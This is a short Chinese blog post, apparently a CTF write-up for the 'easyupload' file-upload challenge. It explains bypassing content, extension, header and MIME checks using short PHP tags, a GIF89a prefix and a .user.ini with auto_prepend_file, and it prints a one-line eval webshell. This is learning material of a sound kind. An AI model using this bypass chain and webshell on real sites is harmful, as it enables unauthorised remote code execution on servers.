文件上传之.user.ini (easyupload 攻防世界)

2022_11_13

一、知识点

需要绕过的点:

  • 检查文件内容是否有php字符串

  • 检查后缀中是否有htaccess或ph

  • 检查文件头部信息

  • 文件MIME类型

使用 .user.ini

二、大致解题思路

题目网址: 攻防世界

绕过第一点:利用短标签绕过,例如

绕过第二点:上传 .user.ini 配置文件

绕过第三点:再文件最前方加上 “GIF89a”

绕过第四点:抓包,修改MIME类型

其中:

.user.ini 配置文件内容

GIF89a                  
auto_prepend_file=a.jpg

上传的webshell

GIF89a
<?=eval($_POST['cmd']);?>

注意:因为运用了.user.ini配置文件,auto_prepend_file 表示在加载第一个PHP代码之前先行预加载该配置所指示的PHP文件。所以用蚁剑连接的不应该是图片地址,而是上传文件时所指向的网站地址,即 http://ip/uploads/index.php

三、关键知识点

.user.ini 配置文件的运用

.user.ini文件构成的PHP后门 - phith0n

auto_prepend_file 表示在加载第一个PHP代码之前先行预加载该配置所指示的PHP文件。

就像是文件包含

局限性:如果目录中没有php文件将无法达到效果。不过也可以使用 ../ 来将文件上传到上一级,来达到想要的效果。

四、参考文章

wp: https://blog.csdn.net/m0_63127854/article/details/126633686

.user.ini 运用讲解: https://blog.csdn.net/cosmoslin/article/details/120793126

posted @   konglong  阅读(273)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· Manus爆火,是硬核还是营销?
· 终于写完轮子一部分:tcp代理 了,记录一下
· 震惊!C++程序真的从main开始吗?99%的程序员都答错了
· 别再用vector<bool>了!Google高级工程师:这可能是STL最大的设计失误
· 单元测试从入门到精通
点击右上角即可分享
微信分享提示